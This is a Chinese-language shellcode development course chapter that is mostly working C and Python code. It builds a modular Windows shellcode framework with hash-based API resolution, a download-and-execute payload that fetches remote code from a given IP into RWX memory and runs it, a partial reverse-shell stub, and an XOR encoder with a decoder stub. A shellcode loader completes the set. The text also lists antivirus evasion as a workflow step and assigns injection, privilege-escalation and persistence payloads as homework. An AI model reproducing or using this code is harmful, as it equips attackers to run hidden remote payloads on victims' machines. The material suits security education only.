shellcode开发技术

7、阶段合集

1、课程目标

  1. 整合ShellCode开发的全部知识点
  2. 实现完整的ShellCode开发工具链
  3. 构建模块化的ShellCode框架
  4. 掌握ShellCode开发的工程化实践

2、知识回顾

2.1、ShellCode开发流程

┌─────────────────────────────────────────────────────────────────┐
│                    ShellCode 开发完整流程                        │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. 需求分析        确定功能需求和目标平台                        │
│       ↓                                                          │
│  2. 架构设计        选择单阶段/分阶段,确定API依赖                │
│       ↓                                                          │
│  3. 代码编写        C语言原型或直接汇编                          │
│       ↓                                                          │
│  4. 编译优化        禁用优化、安全检查,使用特定代码段            │
│       ↓                                                          │
│  5. 提取机器码      从PE提取或直接汇编输出                        │
│       ↓                                                          │
│  6. 空字节消除      替换指令、编码处理                            │
│       ↓                                                          │
│  7. 功能测试        加载器测试、调试验证                          │
│       ↓                                                          │
│  8. 免杀处理        加密、混淆、编码                              │
│       ↓                                                          │
│  9. 部署使用        集成到Loader或注入工具                        │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

2.2、核心技术点

课时 主题 核心技能
01 ShellCode概念 理解PIC、开发约束
02 获取Kernel32 PEB遍历、模块枚举
03 x86框架 导出表解析、哈希查找
04 提取与加载 PE解析、多种执行方式
05 x64框架 调用约定、寄存器使用
06 体积优化 指令替换、空字节消除

3、代码实现

1. 完整的模块化ShellCode框架

// shellcode_framework.h
// 模块化ShellCode开发框架

#ifndef SHELLCODE_FRAMEWORK_H
#define SHELLCODE_FRAMEWORK_H

#include <windows.h>

//=============================================================================
// 配置选项
//=============================================================================
#define SC_ARCH_X86     0
#define SC_ARCH_X64     1

#ifdef _WIN64
#define SC_ARCH SC_ARCH_X64
#else
#define SC_ARCH SC_ARCH_X86
#endif

//=============================================================================
// 哈希常量
//=============================================================================
// 模块哈希
#define HASH_KERNEL32       0x6A4ABC5B
#define HASH_NTDLL          0x3CFA685D
#define HASH_USER32         0x63C84283
#define HASH_WS2_32         0x6B8029

// Kernel32函数哈希
#define HASH_LOADLIBRARYA       0xEC0E4E8E
#define HASH_LOADLIBRARYW       0xB7589C60
#define HASH_GETPROCADDRESS     0x7C0DFCAA
#define HASH_VIRTUALALLOC       0x91AFCA54
#define HASH_VIRTUALPROTECT     0x7946C61B
#define HASH_VIRTUALFREE        0x30633AC
#define HASH_EXITPROCESS        0x73E2D87E
#define HASH_EXITTHREAD         0x60E0CEEF
#define HASH_CREATETHREAD       0xCA2BD06B
#define HASH_GETMODULEHANDLEA   0xD3324904
#define HASH_CLOSEHANDLE        0xB2B07EC8

// User32函数哈希
#define HASH_MESSAGEBOXA        0xBC4DA2A8
#define HASH_MESSAGEBOXW        0xB16B3CCA

// WS2_32函数哈希
#define HASH_WSASTARTUP         0x3BFCEDCB
#define HASH_WSACLEANUP         0x5A79D24C
#define HASH_SOCKET             0x492F0B6E
#define HASH_CONNECT            0x60AAF9EC
#define HASH_SEND               0x5F38EBC2
#define HASH_RECV               0x5FC8D902
#define HASH_CLOSESOCKET        0x6BA2D32F

// Ntdll函数哈希
#define HASH_NTALLOCATEVIRTUALMEMORY    0x3F96C5AB
#define HASH_NTPROTECTVIRTUALMEMORY     0xD3F8D4A9
#define HASH_NTCREATETHREADEX           0x64DC7453

//=============================================================================
// 函数指针类型
//=============================================================================
typedef HMODULE (WINAPI* PFN_LOADLIBRARYA)(LPCSTR);
typedef HMODULE (WINAPI* PFN_LOADLIBRARYW)(LPCWSTR);
typedef FARPROC (WINAPI* PFN_GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID  (WINAPI* PFN_VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL    (WINAPI* PFN_VIRTUALPROTECT)(LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL    (WINAPI* PFN_VIRTUALFREE)(LPVOID, SIZE_T, DWORD);
typedef VOID    (WINAPI* PFN_EXITPROCESS)(UINT);
typedef VOID    (WINAPI* PFN_EXITTHREAD)(DWORD);
typedef HANDLE  (WINAPI* PFN_CREATETHREAD)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
typedef BOOL    (WINAPI* PFN_CLOSEHANDLE)(HANDLE);
typedef int     (WINAPI* PFN_MESSAGEBOXA)(HWND, LPCSTR, LPCSTR, UINT);
typedef int     (WINAPI* PFN_MESSAGEBOXW)(HWND, LPCWSTR, LPCWSTR, UINT);

// 网络函数
typedef int     (WINAPI* PFN_WSASTARTUP)(WORD, LPWSADATA);
typedef int     (WINAPI* PFN_WSACLEANUP)(void);
typedef SOCKET  (WINAPI* PFN_SOCKET)(int, int, int);
typedef int     (WINAPI* PFN_CONNECT)(SOCKET, const struct sockaddr*, int);
typedef int     (WINAPI* PFN_SEND)(SOCKET, const char*, int, int);
typedef int     (WINAPI* PFN_RECV)(SOCKET, char*, int, int);
typedef int     (WINAPI* PFN_CLOSESOCKET)(SOCKET);

//=============================================================================
// ShellCode上下文结构
//=============================================================================
typedef struct _SC_CONTEXT {
    // 模块句柄
    HMODULE hKernel32;
    HMODULE hNtdll;
    HMODULE hUser32;
    HMODULE hWs2_32;
    
    // Kernel32函数
    PFN_LOADLIBRARYA pLoadLibraryA;
    PFN_GETPROCADDRESS pGetProcAddress;
    PFN_VIRTUALALLOC pVirtualAlloc;
    PFN_VIRTUALPROTECT pVirtualProtect;
    PFN_VIRTUALFREE pVirtualFree;
    PFN_EXITPROCESS pExitProcess;
    PFN_CREATETHREAD pCreateThread;
    PFN_CLOSEHANDLE pCloseHandle;
    
    // User32函数
    PFN_MESSAGEBOXA pMessageBoxA;
    
    // 网络函数
    PFN_WSASTARTUP pWSAStartup;
    PFN_SOCKET pSocket;
    PFN_CONNECT pConnect;
    PFN_SEND pSend;
    PFN_RECV pRecv;
    PFN_CLOSESOCKET pClosesocket;
    
} SC_CONTEXT, *PSC_CONTEXT;

//=============================================================================
// 核心函数声明
//=============================================================================

// 哈希计算
__forceinline DWORD ROR13Hash(const char* str);
__forceinline DWORD ROR13HashW(const WCHAR* str);

// 模块获取
__forceinline HMODULE GetModuleByHash(DWORD hash);

// 函数获取
__forceinline FARPROC GetFuncByHash(HMODULE hModule, DWORD hash);

// 上下文初始化
__forceinline BOOL InitShellcodeContext(PSC_CONTEXT pCtx);

#endif // SHELLCODE_FRAMEWORK_H

2. 框架实现

// shellcode_framework.c
// ShellCode框架实现

#include "shellcode_framework.h"
#include <intrin.h>

//=============================================================================
// 哈希计算
//=============================================================================
__forceinline DWORD ROR13Hash(const char* str) {
    DWORD hash = 0;
    while (*str) {
        hash = _rotr(hash, 13) + *str;
        str++;
    }
    return hash;
}

__forceinline DWORD ROR13HashW(const WCHAR* str) {
    DWORD hash = 0;
    while (*str) {
        WCHAR c = *str;
        if (c >= L'A' && c <= L'Z') c += 0x20;
        hash = _rotr(hash, 13) + (BYTE)c;
        str++;
    }
    return hash;
}

//=============================================================================
// 获取模块基址
//=============================================================================
__forceinline HMODULE GetModuleByHash(DWORD hash) {
    PPEB pPeb;
    
    #ifdef _WIN64
    pPeb = (PPEB)__readgsqword(0x60);
    #else
    pPeb = (PPEB)__readfsdword(0x30);
    #endif
    
    PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr;
    PLIST_ENTRY pHead = &pLdr->InLoadOrderModuleList;
    PLIST_ENTRY pEntry = pHead->Flink;
    
    while (pEntry != pHead) {
        PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(
            pEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks
        );
        
        if (pModule->BaseDllName.Buffer) {
            DWORD moduleHash = ROR13HashW(pModule->BaseDllName.Buffer);
            if (moduleHash == hash) {
                return (HMODULE)pModule->DllBase;
            }
        }
        pEntry = pEntry->Flink;
    }
    return NULL;
}

//=============================================================================
// 通过哈希获取函数
//=============================================================================
__forceinline FARPROC GetFuncByHash(HMODULE hModule, DWORD hash) {
    if (!hModule) return NULL;
    
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hModule;
    if (pDos->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
    
    #ifdef _WIN64
    PIMAGE_NT_HEADERS64 pNt = (PIMAGE_NT_HEADERS64)((LPBYTE)hModule + pDos->e_lfanew);
    #else
    PIMAGE_NT_HEADERS32 pNt = (PIMAGE_NT_HEADERS32)((LPBYTE)hModule + pDos->e_lfanew);
    #endif
    
    if (pNt->Signature != IMAGE_NT_SIGNATURE) return NULL;
    
    DWORD exportRva = pNt->OptionalHeader.DataDirectory[0].VirtualAddress;
    if (!exportRva) return NULL;
    
    PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(
        (LPBYTE)hModule + exportRva
    );
    
    PDWORD pFunctions = (PDWORD)((LPBYTE)hModule + pExport->AddressOfFunctions);
    PDWORD pNames = (PDWORD)((LPBYTE)hModule + pExport->AddressOfNames);
    PWORD pOrdinals = (PWORD)((LPBYTE)hModule + pExport->AddressOfNameOrdinals);
    
    for (DWORD i = 0; i < pExport->NumberOfNames; i++) {
        char* name = (char*)((LPBYTE)hModule + pNames[i]);
        if (ROR13Hash(name) == hash) {
            DWORD funcRva = pFunctions[pOrdinals[i]];
            
            // 检查是否为转发函数
            if (funcRva >= exportRva && 
                funcRva < exportRva + pNt->OptionalHeader.DataDirectory[0].Size) {
                // 转发函数,需要特殊处理
                continue;
            }
            
            return (FARPROC)((LPBYTE)hModule + funcRva);
        }
    }
    return NULL;
}

//=============================================================================
// 初始化上下文
//=============================================================================
__forceinline BOOL InitShellcodeContext(PSC_CONTEXT pCtx) {
    // 清零
    for (int i = 0; i < sizeof(SC_CONTEXT); i++) {
        ((BYTE*)pCtx)[i] = 0;
    }
    
    // 获取Kernel32
    pCtx->hKernel32 = GetModuleByHash(HASH_KERNEL32);
    if (!pCtx->hKernel32) return FALSE;
    
    // 获取基础函数
    pCtx->pLoadLibraryA = (PFN_LOADLIBRARYA)
        GetFuncByHash(pCtx->hKernel32, HASH_LOADLIBRARYA);
    pCtx->pGetProcAddress = (PFN_GETPROCADDRESS)
        GetFuncByHash(pCtx->hKernel32, HASH_GETPROCADDRESS);
    pCtx->pVirtualAlloc = (PFN_VIRTUALALLOC)
        GetFuncByHash(pCtx->hKernel32, HASH_VIRTUALALLOC);
    pCtx->pVirtualProtect = (PFN_VIRTUALPROTECT)
        GetFuncByHash(pCtx->hKernel32, HASH_VIRTUALPROTECT);
    pCtx->pVirtualFree = (PFN_VIRTUALFREE)
        GetFuncByHash(pCtx->hKernel32, HASH_VIRTUALFREE);
    pCtx->pExitProcess = (PFN_EXITPROCESS)
        GetFuncByHash(pCtx->hKernel32, HASH_EXITPROCESS);
    pCtx->pCreateThread = (PFN_CREATETHREAD)
        GetFuncByHash(pCtx->hKernel32, HASH_CREATETHREAD);
    pCtx->pCloseHandle = (PFN_CLOSEHANDLE)
        GetFuncByHash(pCtx->hKernel32, HASH_CLOSEHANDLE);
    
    // 验证必需函数
    if (!pCtx->pLoadLibraryA || !pCtx->pGetProcAddress) {
        return FALSE;
    }
    
    return TRUE;
}

//=============================================================================
// 加载额外模块
//=============================================================================
__forceinline BOOL LoadUser32(PSC_CONTEXT pCtx) {
    if (pCtx->hUser32) return TRUE;
    
    char szUser32[] = {'u','s','e','r','3','2','.','d','l','l',0};
    pCtx->hUser32 = pCtx->pLoadLibraryA(szUser32);
    if (!pCtx->hUser32) return FALSE;
    
    pCtx->pMessageBoxA = (PFN_MESSAGEBOXA)
        GetFuncByHash(pCtx->hUser32, HASH_MESSAGEBOXA);
    
    return TRUE;
}

__forceinline BOOL LoadWs2_32(PSC_CONTEXT pCtx) {
    if (pCtx->hWs2_32) return TRUE;
    
    char szWs2[] = {'w','s','2','_','3','2','.','d','l','l',0};
    pCtx->hWs2_32 = pCtx->pLoadLibraryA(szWs2);
    if (!pCtx->hWs2_32) return FALSE;
    
    pCtx->pWSAStartup = (PFN_WSASTARTUP)
        GetFuncByHash(pCtx->hWs2_32, HASH_WSASTARTUP);
    pCtx->pSocket = (PFN_SOCKET)
        GetFuncByHash(pCtx->hWs2_32, HASH_SOCKET);
    pCtx->pConnect = (PFN_CONNECT)
        GetFuncByHash(pCtx->hWs2_32, HASH_CONNECT);
    pCtx->pSend = (PFN_SEND)
        GetFuncByHash(pCtx->hWs2_32, HASH_SEND);
    pCtx->pRecv = (PFN_RECV)
        GetFuncByHash(pCtx->hWs2_32, HASH_RECV);
    pCtx->pClosesocket = (PFN_CLOSESOCKET)
        GetFuncByHash(pCtx->hWs2_32, HASH_CLOSESOCKET);
    
    return TRUE;
}

//=============================================================================
// 示例Payload: MessageBox
//=============================================================================
void PayloadMessageBox(PSC_CONTEXT pCtx) {
    if (!LoadUser32(pCtx)) return;
    
    char szTitle[] = {'S','h','e','l','l','c','o','d','e',0};
    char szText[] = {'H','e','l','l','o',' ','W','o','r','l','d','!',0};
    
    pCtx->pMessageBoxA(NULL, szText, szTitle, 0);
}

//=============================================================================
// 示例Payload: Reverse Shell
//=============================================================================
void PayloadReverseShell(PSC_CONTEXT pCtx, DWORD ip, WORD port) {
    if (!LoadWs2_32(pCtx)) return;
    
    // WSAStartup
    WSADATA wsa;
    pCtx->pWSAStartup(0x0202, &wsa);
    
    // 创建Socket
    SOCKET sock = pCtx->pSocket(AF_INET, SOCK_STREAM, 0);
    
    // 连接
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = ((port & 0xFF) << 8) | ((port >> 8) & 0xFF); // 手动htons
    addr.sin_addr.s_addr = ip;
    
    if (pCtx->pConnect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
        // 创建cmd进程并重定向
        // ... (需要更多API)
    }
    
    pCtx->pClosesocket(sock);
}

//=============================================================================
// 示例Payload: 下载执行
//=============================================================================
void PayloadDownloadExec(PSC_CONTEXT pCtx, DWORD ip, WORD port) {
    if (!LoadWs2_32(pCtx)) return;
    
    WSADATA wsa;
    pCtx->pWSAStartup(0x0202, &wsa);
    
    SOCKET sock = pCtx->pSocket(AF_INET, SOCK_STREAM, 0);
    
    struct sockaddr_in addr = {0};
    addr.sin_family = AF_INET;
    addr.sin_port = ((port & 0xFF) << 8) | ((port >> 8) & 0xFF);
    addr.sin_addr.s_addr = ip;
    
    if (pCtx->pConnect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
        // 接收Payload大小
        DWORD size = 0;
        pCtx->pRecv(sock, (char*)&size, 4, 0);
        
        // 分配内存
        LPVOID mem = pCtx->pVirtualAlloc(NULL, size, 
            MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        
        if (mem) {
            // 接收Payload
            DWORD received = 0;
            while (received < size) {
                int n = pCtx->pRecv(sock, (char*)mem + received, 
                    size - received, 0);
                if (n <= 0) break;
                received += n;
            }
            
            // 执行
            ((void(*)())mem)();
        }
    }
    
    pCtx->pClosesocket(sock);
}

//=============================================================================
// ShellCode主入口
//=============================================================================
void ShellcodeEntry() {
    SC_CONTEXT ctx;
    
    // 初始化
    if (!InitShellcodeContext(&ctx)) {
        return;
    }
    
    // 执行Payload
    PayloadMessageBox(&ctx);
    
    // 退出
    ctx.pExitProcess(0);
}

3. ShellCode生成器

#!/usr/bin/env python3
# shellcode_generator.py
# ShellCode生成和处理工具集

import struct
import sys
import os

class ShellcodeGenerator:
    """ShellCode生成器基类"""
    
    def __init__(self, arch='x86'):
        self.arch = arch
        self.code = bytearray()
        
    def emit(self, *bytes_data):
        """添加字节"""
        for b in bytes_data:
            if isinstance(b, int):
                self.code.append(b)
            elif isinstance(b, (bytes, bytearray)):
                self.code.extend(b)
    
    def emit_dword(self, value):
        """添加DWORD (小端)"""
        self.code.extend(struct.pack('<I', value))
    
    def emit_qword(self, value):
        """添加QWORD (小端)"""
        self.code.extend(struct.pack('<Q', value))
    
    def emit_string(self, s):
        """添加字符串"""
        self.code.extend(s.encode('ascii') + b'\x00')
    
    # x86指令生成
    def x86_xor_eax_eax(self):
        self.emit(0x31, 0xC0)
    
    def x86_xor_ebx_ebx(self):
        self.emit(0x31, 0xDB)
    
    def x86_xor_ecx_ecx(self):
        self.emit(0x31, 0xC9)
    
    def x86_xor_edx_edx(self):
        self.emit(0x31, 0xD2)
    
    def x86_push_eax(self):
        self.emit(0x50)
    
    def x86_push_imm8(self, value):
        self.emit(0x6A, value & 0xFF)
    
    def x86_push_imm32(self, value):
        self.emit(0x68)
        self.emit_dword(value)
    
    def x86_pop_eax(self):
        self.emit(0x58)
    
    def x86_call_eax(self):
        self.emit(0xFF, 0xD0)
    
    def x86_ret(self):
        self.emit(0xC3)
    
    def get_code(self):
        return bytes(self.code)
    
    def get_c_array(self):
        """输出C数组格式"""
        result = 'unsigned char shellcode[] = \n"'
        for i, b in enumerate(self.code):
            result += f'\\x{b:02X}'
            if (i + 1) % 16 == 0 and i < len(self.code) - 1:
                result += '"\n"'
        result += '";\n'
        return result
    
    def get_python_bytes(self):
        """输出Python bytes格式"""
        result = 'shellcode = b"'
        for i, b in enumerate(self.code):
            result += f'\\x{b:02X}'
            if (i + 1) % 16 == 0 and i < len(self.code) - 1:
                result += '"\\\nb"'
        result += '"\n'
        return result
    
    def analyze(self):
        """分析ShellCode"""
        total = len(self.code)
        nulls = self.code.count(0)
        
        print(f"Size: {total} bytes")
        print(f"Null bytes: {nulls} ({100*nulls/total:.1f}%)")
        
        # 检查常见坏字符
        bad_chars = [0x00, 0x0A, 0x0D, 0x20]
        found_bad = []
        for bc in bad_chars:
            if bc in self.code:
                found_bad.append(f'0x{bc:02X}')
        if found_bad:
            print(f"Bad characters found: {', '.join(found_bad)}")

class MessageBoxShellcode(ShellcodeGenerator):
    """生成MessageBox ShellCode"""
    
    def generate(self, title="Shell", message="Hello!"):
        # 简化版 - 实际需要完整的API解析代码
        
        # 这里放置完整的ShellCode字节
        # 由于篇幅限制,使用占位符
        
        # 实际实现应包含:
        # 1. 获取kernel32
        # 2. 解析GetProcAddress
        # 3. 加载user32
        # 4. 调用MessageBoxA
        # 5. 退出
        
        pass

class ReverseShellShellcode(ShellcodeGenerator):
    """生成Reverse Shell ShellCode"""
    
    def generate(self, ip, port):
        # 将IP转换为DWORD
        parts = ip.split('.')
        ip_dword = (int(parts[0]) | (int(parts[1]) << 8) | 
                   (int(parts[2]) << 16) | (int(parts[3]) << 24))
        
        # 端口转换为网络字节序
        port_be = ((port & 0xFF) << 8) | ((port >> 8) & 0xFF)
        
        print(f"[*] IP: {ip} -> 0x{ip_dword:08X}")
        print(f"[*] Port: {port} -> 0x{port_be:04X}")
        
        # 实际实现需要完整代码...
        pass

def encode_xor(shellcode, key):
    """XOR编码"""
    encoded = bytearray()
    for i, b in enumerate(shellcode):
        if isinstance(key, int):
            encoded.append(b ^ key)
        else:
            encoded.append(b ^ key[i % len(key)])
    return bytes(encoded)

def generate_decoder_stub(key, arch='x86'):
    """生成解码器存根"""
    if isinstance(key, int):
        key = bytes([key])
    
    if arch == 'x86':
        # 简单的XOR解码器
        stub = bytearray([
            0xEB, 0x0D,                     # jmp short get_addr
            0x5E,                           # pop esi (encoded shellcode addr)
            0x31, 0xC9,                     # xor ecx, ecx
            0xB1, 0x00,                     # mov cl, SIZE (需要填充)
            0x80, 0x36, key[0],             # xor byte [esi], KEY
            0x46,                           # inc esi
            0xE2, 0xFA,                     # loop -6
            0xEB, 0x05,                     # jmp to decoded shellcode
            0xE8, 0xEE, 0xFF, 0xFF, 0xFF,   # call pop_addr
        ])
        return bytes(stub)
    
    return b''

def main():
    print("=" * 50)
    print("  ShellCode Generator Tool")
    print("=" * 50)
    
    if len(sys.argv) < 2:
        print("\nUsage:")
        print("  python shellcode_generator.py msgbox [title] [message]")
        print("  python shellcode_generator.py reverse <ip> <port>")
        print("  python shellcode_generator.py encode <file> <key>")
        return
    
    cmd = sys.argv[1]
    
    if cmd == 'msgbox':
        title = sys.argv[2] if len(sys.argv) > 2 else "Shell"
        message = sys.argv[3] if len(sys.argv) > 3 else "Hello!"
        
        gen = MessageBoxShellcode()
        gen.generate(title, message)
        
    elif cmd == 'reverse':
        if len(sys.argv) < 4:
            print("Usage: reverse <ip> <port>")
            return
        
        ip = sys.argv[2]
        port = int(sys.argv[3])
        
        gen = ReverseShellShellcode()
        gen.generate(ip, port)
        
    elif cmd == 'encode':
        if len(sys.argv) < 4:
            print("Usage: encode <file> <key>")
            return
        
        with open(sys.argv[2], 'rb') as f:
            shellcode = f.read()
        
        key = int(sys.argv[3], 0) if sys.argv[3].startswith('0x') else int(sys.argv[3])
        
        encoded = encode_xor(shellcode, key)
        
        print(f"\nOriginal: {len(shellcode)} bytes")
        print(f"Key: 0x{key:02X}")
        print(f"\nEncoded shellcode:")
        
        out_file = sys.argv[2] + '.enc'
        with open(out_file, 'wb') as f:
            f.write(encoded)
        print(f"Saved to: {out_file}")

if __name__ == "__main__":
    main()

4. 完整测试程序

// shellcode_test.c
// ShellCode框架测试程序

#include <windows.h>
#include <stdio.h>

// 包含框架
#include "shellcode_framework.h"

// 外部ShellCode(从文件或内嵌)
extern void ShellcodeEntry();

// 内嵌测试ShellCode
unsigned char test_shellcode[] = {
    0x90, 0x90, 0x90, 0x90,  // NOP sled
    0xCC,                     // INT3 (调试断点)
    0xC3                      // RET
};

// 加载并执行ShellCode
void ExecuteShellcode(const unsigned char* code, size_t size) {
    printf("[*] Allocating RWX memory...\n");
    LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);
    if (!mem) {
        printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
        return;
    }
    
    printf("[+] Memory at: %p\n", mem);
    
    // 复制
    memcpy(mem, code, size);
    
    // 刷新指令缓存
    FlushInstructionCache(GetCurrentProcess(), mem, size);
    
    printf("[*] Executing shellcode...\n");
    
    // 执行
    __try {
        ((void(*)())mem)();
        printf("[+] Shellcode returned normally\n");
    }
    __except(EXCEPTION_EXECUTE_HANDLER) {
        printf("[-] Exception occurred: 0x%08X\n", GetExceptionCode());
    }
    
    VirtualFree(mem, 0, MEM_RELEASE);
}

// 测试框架功能
void TestFramework() {
    printf("\n=== Testing ShellCode Framework ===\n\n");
    
    // 测试哈希
    printf("[*] Hash values:\n");
    printf("    kernel32.dll: 0x%08X\n", ROR13HashW(L"kernel32.dll"));
    printf("    LoadLibraryA: 0x%08X\n", ROR13Hash("LoadLibraryA"));
    printf("    GetProcAddress: 0x%08X\n", ROR13Hash("GetProcAddress"));
    
    // 测试模块获取
    printf("\n[*] Module resolution:\n");
    HMODULE hK32 = GetModuleByHash(HASH_KERNEL32);
    HMODULE hK32_Real = GetModuleHandleW(L"kernel32.dll");
    printf("    Kernel32 (hash):  0x%p\n", hK32);
    printf("    Kernel32 (real):  0x%p\n", hK32_Real);
    printf("    Match: %s\n", hK32 == hK32_Real ? "Yes" : "No");
    
    // 测试函数获取
    printf("\n[*] Function resolution:\n");
    if (hK32) {
        FARPROC pLoad = GetFuncByHash(hK32, HASH_LOADLIBRARYA);
        FARPROC pLoad_Real = GetProcAddress(hK32_Real, "LoadLibraryA");
        printf("    LoadLibraryA (hash): 0x%p\n", pLoad);
        printf("    LoadLibraryA (real): 0x%p\n", pLoad_Real);
        printf("    Match: %s\n", pLoad == pLoad_Real ? "Yes" : "No");
    }
    
    // 测试完整上下文
    printf("\n[*] Context initialization:\n");
    SC_CONTEXT ctx;
    if (InitShellcodeContext(&ctx)) {
        printf("    [+] Context initialized successfully\n");
        printf("    LoadLibraryA:   0x%p\n", ctx.pLoadLibraryA);
        printf("    GetProcAddress: 0x%p\n", ctx.pGetProcAddress);
        printf("    VirtualAlloc:   0x%p\n", ctx.pVirtualAlloc);
        printf("    ExitProcess:    0x%p\n", ctx.pExitProcess);
    } else {
        printf("    [-] Context initialization failed\n");
    }
}

int main(int argc, char* argv[]) {
    printf("================================================\n");
    printf("      ShellCode Development Framework Test      \n");
    printf("================================================\n");
    
    // 测试框架
    TestFramework();
    
    // 命令行选项
    if (argc >= 2) {
        if (strcmp(argv[1], "-f") == 0 && argc >= 3) {
            // 从文件加载
            HANDLE hFile = CreateFileA(argv[2], GENERIC_READ, 
                FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
            if (hFile != INVALID_HANDLE_VALUE) {
                DWORD size = GetFileSize(hFile, NULL);
                unsigned char* code = (unsigned char*)malloc(size);
                DWORD read;
                ReadFile(hFile, code, size, &read, NULL);
                CloseHandle(hFile);
                
                printf("\n[*] Loaded %lu bytes from %s\n", size, argv[2]);
                ExecuteShellcode(code, size);
                free(code);
            }
        }
        else if (strcmp(argv[1], "-t") == 0) {
            // 执行测试ShellCode
            printf("\n[*] Executing test shellcode...\n");
            ExecuteShellcode(test_shellcode, sizeof(test_shellcode));
        }
        else if (strcmp(argv[1], "-m") == 0) {
            // 执行MessageBox payload
            printf("\n[*] Executing MessageBox payload...\n");
            SC_CONTEXT ctx;
            if (InitShellcodeContext(&ctx)) {
                PayloadMessageBox(&ctx);
            }
        }
    }
    
    printf("\n[*] Done.\n");
    return 0;
}

5、课后作业

5.1、作业1:扩展框架

为ShellCode框架添加以下功能:

  • 进程注入Payload
  • 权限提升Payload
  • 持久化Payload

5.2、作业2:自动化工具

编写一个自动化工具,能够:

  1. 从C源码生成ShellCode
  2. 自动进行空字节消除
  3. 应用编码混淆
  4. 生成多种格式输出

5.3、作业3:跨平台ShellCode

研究并实现一个能在x86和x64上都能运行的“通用”ShellCode。

6、章节总结

本章系统学习了ShellCode开发的核心技术:

  1. 基础概念:理解ShellCode的本质是位置无关的机器码
  2. API动态获取:通过PEB遍历获取模块,解析导出表获取函数
  3. x86开发:掌握内联汇编和纯汇编开发方法
  4. x64开发:理解调用约定差异和寄存器使用
  5. 提取与加载:从PE提取机器码,多种执行方式
  6. 体积优化:指令替换、空字节消除、分阶段加载

ShellCode是渗透测试和安全研究的核心技术,后续课程将深入学习ShellCode加载器和各种免杀技术。